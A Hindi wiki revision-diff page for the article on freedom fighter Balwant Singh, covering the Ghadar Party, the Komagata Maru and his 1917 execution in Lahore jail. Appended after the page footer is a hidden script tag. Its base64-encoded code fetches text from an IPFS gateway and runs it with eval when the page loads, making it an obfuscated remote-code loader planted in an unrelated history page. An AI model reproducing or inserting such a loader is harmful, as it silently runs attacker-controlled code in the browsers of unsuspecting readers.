"बलवंत सिंह": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
गोविन्द राम (वार्ता | योगदान) No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
'''शहीद बलवंत सिंह''' (जन्म [[16 सितंबर]], [[1882]] ई. [[जालंधर ज़िला|जालंधर ज़िले]] खुर्दपुर गांव; मृत्यु [[मार्च]], [[1917]] लाहौर जेल) एक स्वतंत्रता सेनानी थे और उन्होंने 10 वर्ष तक [[अंग्रेज|अंग्रेजों]] की सेना में थे। | {{सूचना बक्सा स्वतन्त्रता सेनानी | ||
|चित्र=blankimage.png | |||
|चित्र का नाम= | |||
|पूरा नाम=शहीद बलवंत सिंह | |||
|अन्य नाम= | |||
|जन्म=[[16 सितंबर]], [[1882]] | |||
|जन्म भूमि=[[जालंधर]] | |||
|मृत्यु=[[मार्च]], [[1917]] | |||
|मृत्यु स्थान=लाहौर जेल | |||
|मृत्यु कारण=फाँसी | |||
|अविभावक= | |||
|पति/पत्नी= | |||
|संतान= | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि= | |||
|धर्म= | |||
|आंदोलन= | |||
|जेल यात्रा= | |||
|कार्य काल= | |||
|विद्यालय= | |||
|शिक्षा= | |||
|पुरस्कार-उपाधि= | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी= बलवंत सिंह [[1915]] में गिरफ्तार हुए और ब्रिटिश सरकार को सौंप दिए गए। दूसरे ‘लाहौर षड्यंत्र केस’ में उन पर भी मुकदमा चला और मार्च, 1917 में लाहौर जेल में फांसी दे दी गई। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''शहीद बलवंत सिंह''' (जन्म: [[16 सितंबर]], [[1882]] ई. [[जालंधर ज़िला|जालंधर ज़िले]] खुर्दपुर गांव; मृत्यु [[मार्च]], [[1917]] लाहौर जेल) एक स्वतंत्रता सेनानी थे और उन्होंने 10 वर्ष तक [[अंग्रेज|अंग्रेजों]] की सेना में थे। | |||
== | ==जीवन परिचय== | ||
[[1905]] में सेना से त्यागपत्र दे दिया और धार्मिक क्रियाकलापों में लग गए। कुछ समय बाद बलवंत सिंह [[अमेरिका]] होते हुए कनाडा पहुंचे। वहां उन्होंने देखा कि [[भारत]] की दासता के कारण और जातीय भेदभाव से भारत से गए लोगों के साथ बहुत बुरा बर्ताव किया जाता है। उन्होंने इसके विरोध में आवाज़ उठाई, किन्तु उसका कोई प्रभाव नहीं पड़ा। अब उनको विश्वास हो गया कि भारत से अंग्रेजों की सत्ता समाप्त होने पर ही इस भेदभाव का अंत संभव है। बलवंत सिंह ‘[[ग़दर पार्टी]]’ के संपर्क में आए। ‘कामागाटा मारु’ जहाज से भारत के लोगों को कनाडा के तट पर उतारने का प्रयत्न करने वालों में वे भी सम्मिलित थे। भारत आकर उन्होंने [[पंजाब]] में लोगों को विदेशी सरकार के विरूद्ध संगठित करने का प्रयत्न किया। वहां के लेफ्टिनेंट गवर्नर | [[1905]] में सेना से त्यागपत्र दे दिया और धार्मिक क्रियाकलापों में लग गए। कुछ समय बाद बलवंत सिंह [[अमेरिका]] होते हुए कनाडा पहुंचे। वहां उन्होंने देखा कि [[भारत]] की दासता के कारण और जातीय भेदभाव से भारत से गए लोगों के साथ बहुत बुरा बर्ताव किया जाता है। उन्होंने इसके विरोध में आवाज़ उठाई, किन्तु उसका कोई प्रभाव नहीं पड़ा। अब उनको विश्वास हो गया कि भारत से अंग्रेजों की सत्ता समाप्त होने पर ही इस भेदभाव का अंत संभव है। बलवंत सिंह ‘[[ग़दर पार्टी]]’ के संपर्क में आए। ‘कामागाटा मारु’ जहाज से भारत के लोगों को कनाडा के तट पर उतारने का प्रयत्न करने वालों में वे भी सम्मिलित थे। भारत आकर उन्होंने [[पंजाब]] में लोगों को विदेशी सरकार के विरूद्ध संगठित करने का प्रयत्न किया। वहां के लेफ्टिनेंट गवर्नर माइकल डायर ने लिखा कि बलवंत सिंह पंजाब में राजद्रोह फैला रहे थे। | ||
==मृत्यु== | ==मृत्यु== | ||
पंक्ति 8: | पंक्ति 42: | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | |||
{{लेख प्रगति|आधार=|प्रारम्भिक= | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} |
08:36, 10 सितम्बर 2013 का अवतरण
बलवंत सिंह
| |
पूरा नाम | शहीद बलवंत सिंह |
जन्म | 16 सितंबर, 1882 |
जन्म भूमि | जालंधर |
मृत्यु | मार्च, 1917 |
मृत्यु स्थान | लाहौर जेल |
मृत्यु कारण | फाँसी |
नागरिकता | भारतीय |
अन्य जानकारी | बलवंत सिंह 1915 में गिरफ्तार हुए और ब्रिटिश सरकार को सौंप दिए गए। दूसरे ‘लाहौर षड्यंत्र केस’ में उन पर भी मुकदमा चला और मार्च, 1917 में लाहौर जेल में फांसी दे दी गई। |
शहीद बलवंत सिंह (जन्म: 16 सितंबर, 1882 ई. जालंधर ज़िले खुर्दपुर गांव; मृत्यु मार्च, 1917 लाहौर जेल) एक स्वतंत्रता सेनानी थे और उन्होंने 10 वर्ष तक अंग्रेजों की सेना में थे।
जीवन परिचय
1905 में सेना से त्यागपत्र दे दिया और धार्मिक क्रियाकलापों में लग गए। कुछ समय बाद बलवंत सिंह अमेरिका होते हुए कनाडा पहुंचे। वहां उन्होंने देखा कि भारत की दासता के कारण और जातीय भेदभाव से भारत से गए लोगों के साथ बहुत बुरा बर्ताव किया जाता है। उन्होंने इसके विरोध में आवाज़ उठाई, किन्तु उसका कोई प्रभाव नहीं पड़ा। अब उनको विश्वास हो गया कि भारत से अंग्रेजों की सत्ता समाप्त होने पर ही इस भेदभाव का अंत संभव है। बलवंत सिंह ‘ग़दर पार्टी’ के संपर्क में आए। ‘कामागाटा मारु’ जहाज से भारत के लोगों को कनाडा के तट पर उतारने का प्रयत्न करने वालों में वे भी सम्मिलित थे। भारत आकर उन्होंने पंजाब में लोगों को विदेशी सरकार के विरूद्ध संगठित करने का प्रयत्न किया। वहां के लेफ्टिनेंट गवर्नर माइकल डायर ने लिखा कि बलवंत सिंह पंजाब में राजद्रोह फैला रहे थे।
मृत्यु
बलवंत सिंह बैंकाक गए हुए थे कि उन पर कनाडा के सिखों के विरूद्ध काम करने वाले हॉपकिन्सन की हत्या में सम्मिलित होने का आरोप लगाया गया। 1915 में गिरफ्तार हुए और ब्रिटिश सरकार को सौंप दिए गए। दूसरे ‘लाहौर षड्यंत्र केस’ में उन पर भी मुकदमा चला और मार्च, 1917 में लाहौर जेल में फांसी दे दी गई।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>